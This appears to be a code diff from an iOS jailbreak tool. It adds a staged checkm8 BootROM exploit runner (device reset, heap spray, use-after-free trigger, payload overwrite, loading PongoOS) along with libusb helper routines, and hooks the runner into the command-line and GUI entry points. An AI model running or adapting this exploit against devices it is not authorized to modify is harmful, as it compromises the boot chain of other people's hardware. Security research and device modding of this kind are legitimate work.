stopThreads = false;
struct DeviceConfiguration deviceConfig;
struct PayloadConfiguration payloadConfig;
bool ret = false;
int stage = STAGE_PREPARE;
while (stage != STAGE_DONE && wait_usb_handle(handle)) {
switch (stage) {
case STAGE_PREPARE: {
LOG("Preparing device...");
char *serialNumber = get_usb_device_serial_number(handle);
if (!serialNumber) goto finished;
if (!checkm8_find_device_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &deviceConfig)) { goto finished; }
if (!checkm8_find_payload_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &payloadConfig)) { goto finished; }
if (dfu_serial_number_is_in_yolo_dfu(serialNumber)) { LOG("Found device in Yolo DFU mode!"); stage = STAGE_PONGO; goto yolodfu; }
if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); stage = STAGE_JAILBREAK; goto pongo; }
else if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); return 0; }
if (dfu_serial_number_is_pwned(serialNumber)) { LOG("Device is already pwned!"); return true; }
if (!dfu_serial_number_is_in_dfu_mode(serialNumber)) { LOG("Device is not in DFU mode!"); return false; }
free(serialNumber);
stage = STAGE_RESET;
goto reset;
}
case STAGE_RESET:
reset:
LOG("Resetting device...");
ret = checkm8_reset(handle);
LOG("Reset %s.", ret ? "succeeded" : "failed");
stage = STAGE_HEAP_SPRAY;
case STAGE_HEAP_SPRAY:
LOG("Stage 1: heap spray...");
ret = checkm8_heap_feng_shui(handle, &deviceConfig);
LOG("Heap spray %s.", ret ? "succeeded" : "failed");
stage = STAGE_TRIGGER;
case STAGE_TRIGGER:
LOG("Stage 2: trigger use-after-free...");
ret = checkm8_trigger_UaF(handle, &deviceConfig);
LOG("Trigger %s.", ret ? "succeeded" : "failed");
stage = STAGE_PATCH;
case STAGE_PATCH:
LOG("Stage 3: payload execution...");
ret = checkm8_send_overwrite_and_payload(handle, &deviceConfig, &payloadConfig);
LOG("Patching %s.", ret ? "succeeded" : "failed");
if (!ret) goto finished;
close_usb_handle(handle);
sleep_ms(3000);
LOG("If your device is stuck on the Apple logo, please unplug and replug.");
ret = wait_for_device_to_enter_yolo_dfu(handle);
stage = ret ? STAGE_PONGO : STAGE_DONE;
case STAGE_PONGO:
yolodfu:
LOG("Sending PongoOS...");
ret = send_pongo_to_yolo_dfu(handle);
stage = STAGE_JAILBREAK;
case STAGE_JAILBREAK:
pongo:
LOG("Jailbreaking...");
break;
case STAGE_DONE:
break;
}
if (stage != STAGE_JAILBREAK &&
stage != STAGE_DONE &&
stage != STAGE_PONGO)
{
reset_usb_handle(handle);
}
if (!ret && stage != STAGE_HEAP_SPRAY)
{
goto finished;
}
}
finished:
if (ret) {
LOG("%s succeeded.", mode == MODE_PONGOOS ? "Booting PongoOS" : "Exploit");
} else {
LOG("Exploit failed at stage %d!", stage == STAGE_PREPARE ? stage : stage - 1);
}
return ret;
}
+22
View File
@@ -0,0 +1,22 @@
#ifndef RUN_H
#define RUN_H
enum ExploitStage {
STAGE_PREPARE = 0,
STAGE_RESET = 1,
STAGE_HEAP_SPRAY = 2,
STAGE_TRIGGER = 3,
STAGE_PATCH = 4,
STAGE_PONGO = 5,
STAGE_JAILBREAK = 6,
STAGE_DONE = 7,
};
enum ExploitMode {
MODE_CHECKM8 = 0,
MODE_PONGOOS = 1,
};
bool checkm8(enum ExploitMode mode);
#endif // RUN_H
+233
View File
@@ -0,0 +1,233 @@
#include "usb-libusb.h"
#include "../utils/log.h"
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#ifndef __WIN32
# include <time.h>
#endif
#include <libusb-1.0/libusb.h>
void sleep_ms(unsigned ms) {
#ifdef __WIN32
Sleep(ms);
#else
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
#endif
}
void close_usb_handle(usb_handle_t *handle) {
libusb_close(handle->device);
libusb_exit(NULL);
}
void reset_usb_handle(usb_handle_t *handle) {
libusb_reset_device(handle->device);
}
extern bool stopThreads;
bool wait_usb_handle(usb_handle_t *handle) {
if (stopThreads) {
LOG("Thread stopped.");
return false;
}
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
for(;;) {
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
return true;
}
libusb_close(handle->device);
}
sleep_ms(USB_TIMEOUT);
}
}
return false;
}
bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout) {
unsigned totalTime = 0;
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
for(;;) {
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
return true;
}
libusb_close(handle->device);
}
sleep_ms(USB_TIMEOUT);
totalTime += USB_TIMEOUT;
if (totalTime >= timeout) {
return false;
}
}
}
return false;
}
void usb_async_callback(struct libusb_transfer *transfer) {
*(int *)transfer->user_data = 1;
}
bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) {
int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, 0);
if(transferRet != NULL) {
if(ret >= 0) {
transferRet->sz = (uint32_t)ret;
transferRet->ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
transferRet->ret = USB_TRANSFER_STALL;
} else {
transferRet->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) {
int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, USB_TIMEOUT);
if(transferRet != NULL) {
if(ret >= 0) {
LOG("ok? %d", ret);
transferRet->sz = (uint32_t)ret;
transferRet->ret = USB_TRANSFER_OK;
} else if(ret == LIBUSB_ERROR_PIPE) {
LOG("stalled? %d", ret);
transferRet->ret = USB_TRANSFER_STALL;
} else {
LOG("errr? %d", ret);
transferRet->ret = USB_TRANSFER_ERROR;
}
}
return true;
}
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) {
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
struct timeval tv;
int completed = 0;
uint8_t *buf;
if(transfer != NULL) {
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + wLength)) != NULL) {
if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, pData, wLength);
}
libusb_fill_control_setup(buf, bmRequestType, bRequest, wValue, wIndex, (uint16_t)wLength);
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_callback, &completed, USB_TIMEOUT);
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
tv.tv_sec = usbAbortTimeout / 1000;
tv.tv_usec = (usbAbortTimeout % 1000) * 1000;
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
libusb_cancel_transfer(transfer);
}
if(completed != 0) {
if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
memcpy(pData, libusb_control_transfer_get_data(transfer), transfer->actual_length);
}
if(transferRet != NULL) {
transferRet->sz = (uint32_t)transfer->actual_length;
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
transferRet->ret = USB_TRANSFER_OK;
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
transferRet->ret = USB_TRANSFER_STALL;
} else {
transferRet->ret = USB_TRANSFER_ERROR;
}
}
}
}
free(buf);
}
libusb_free_transfer(transfer);
}
return completed != 0;
}
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
handle->vid = vid;
handle->pid = pid;
handle->device = NULL;
}
bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length) {
int transferred;
int interfaceRet = libusb_claim_interface(handle->device, 0);
if (interfaceRet != LIBUSB_SUCCESS) {
LOG("Failed to claim interface");
return -1;
}
int ret = libusb_bulk_transfer(handle->device, 0x2, buffer, length, &transferred, 100);
if (ret == LIBUSB_ERROR_PIPE) {
LOG("USB pipe error sending bulk upload");
} else if (ret == LIBUSB_ERROR_TIMEOUT) {
LOG("USB timeout sending bulk upload");
}
libusb_release_interface(handle->device, 0);
return transferred == length;
}
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet) {
bool ret = false;
void *pData;
if (wLength == 0) {
ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, transferRet);
} else if ((pData = malloc(wLength)) != NULL) {
memset(pData, '\0', wLength);
ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, transferRet);
free(pData);
}
return ret;
}
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) {
bool ret = false;
void *pData;
if (wLength == 0) {
ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, usbAbortTimeout, transferRet);
} else if ((pData = malloc(wLength)) != NULL) {
memset(pData, '\0', wLength);
ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, usbAbortTimeout, transferRet);
free(pData);
}
return ret;
}
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
uint16_t id_vendor, id_product, bcd_device;
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
} usb_device_descriptor;
char *get_usb_device_serial_number(usb_handle_t *handle) {
transfer_ret_t transfer_ret;
uint8_t buf[UINT8_MAX];
char *str = NULL;
size_t i, sz;
if (send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &usb_device_descriptor, sizeof(usb_device_descriptor), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(usb_device_descriptor)
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | usb_device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) {
for (i = 0; i < sz; ++i) {
str[i] = (char)buf[2 * (i + 1)];
}
str[sz - 1] = '\0';
}
return str;
}
+58
View File
@@ -0,0 +1,58 @@
#ifndef __APPLE__
#ifndef USBLIBUSB_H
#define USBLIBUSB_H
#define USB_TIMEOUT 10
#include <stdint.h>
#include <stddef.h>
#include <libusb-1.0/libusb.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct {
uint16_t vid, pid;
struct libusb_device_handle *device;
int usb_interface;
struct libusb_context *context;
} usb_handle_t;
enum usb_transfer_ret {
USB_TRANSFER_OK = 0,
USB_TRANSFER_ERROR = 1,
USB_TRANSFER_STALL = 2,
};
typedef struct {
enum usb_transfer_ret ret;
uint32_t sz;
} transfer_ret_t;
void sleep_ms(unsigned ms);
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet);
bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet);
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet);
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet);
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet);
bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
bool wait_usb_handle(usb_handle_t *handle);
bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout);
void reset_usb_handle(usb_handle_t *handle);
void close_usb_handle(usb_handle_t *handle);
char *get_usb_device_serial_number(usb_handle_t *handle);
#ifdef __cplusplus
}
#endif
#endif // USBLIBUSB_H
#endif // __APPLE__
+12 -3
View File
@@ -9,6 +9,8 @@
# include <wx/wx.h> # include <wx/wx.h>
#endif #endif
#include "m8/run.hpp"
#include "utils/constants.h" #include "utils/constants.h"
#include "utils/log.h" #include "utils/log.h"
#include "utils/paleinfo.h" #include "utils/paleinfo.h"
@@ -18,14 +20,15 @@ void print_credits() {
"#\n" "#\n"
"# Palera1n beta " PALERAIN_VERSION "\n" "# Palera1n beta " PALERAIN_VERSION "\n"
"#\n" "#\n"
"# (c) 2024 Palera1n\n" "# (c) 2026 Palera1n\n"
"#\n" "#\n"
"# ======== Made by =======\n" "# ======== Made by =======\n"
"# Made by: asdfugil, kok3shidoll, claration, mineek, staturnz\n" "# Made by: asdfugil, kok3shidoll, claration, mineek, staturnz\n"
"# ======== Thanks to =======\n" "# ======== Thanks to =======\n"
"# Thanks to: llsc12, Nebula, Lrdsnow, nikias (libimobiledevice),\n" "# Thanks to: llsc12, Nebula, Lrdsnow, nikias (libimobiledevice),\n"
"# checkra1n team (Siguza, axi0mx, littlelailo et al.),\n" "# Checkra1n (Siguza, axi0mx, littlelailo et al.),\n"
"# Procursus Team (Hayden Seay, Cameron Katri, Keto et.al)\n" "# Procursus (Hayden Seay, Cameron Katri, Keto et.al),\n"
"# kirb, ehilwyma, opa334\n"
"# ==========================\n\n" "# ==========================\n\n"
); );
} }
@@ -165,7 +168,13 @@ int main(int argc, char* argv[], char* envp[]) {
wxTheApp->OnExit(); wxTheApp->OnExit();
wxEntryCleanup(); wxEntryCleanup();
return 0; return 0;
} else {
return checkm8(MODE_PONGOOS);
} }
#else
return checkm8(MODE_PONGOOS);
#endif #endif
return 0; return 0;
+2
View File
@@ -1,6 +1,8 @@
#ifndef LOG_H #ifndef LOG_H
#define LOG_H #define LOG_H
#include <stdio.h>
#define RESET_COLOR "\033[0m" #define RESET_COLOR "\033[0m"
#define RED_COLOR "\033[31m" #define RED_COLOR "\033[31m"
#define GREEN_COLOR "\033[32m" #define GREEN_COLOR "\033[32m"
+2 -1
View File
@@ -10,6 +10,7 @@
#include "DevicePanel.hpp" #include "DevicePanel.hpp"
#include "../state.hpp" #include "../state.hpp"
#include "../utils/log.h" #include "../utils/log.h"
#include "../m8/run.hpp"
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent) ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent) : DevicePanel(frame, parent)
@@ -65,7 +66,7 @@ void ExploitPanel::StartExploit()
if (!state.connected || state.mode != DeviceMode::DFU) if (!state.connected || state.mode != DeviceMode::DFU)
return; return;
LOG("Starting exploit on worker thread..."); checkm8(MODE_PONGOOS);
}).detach(); }).detach();
} }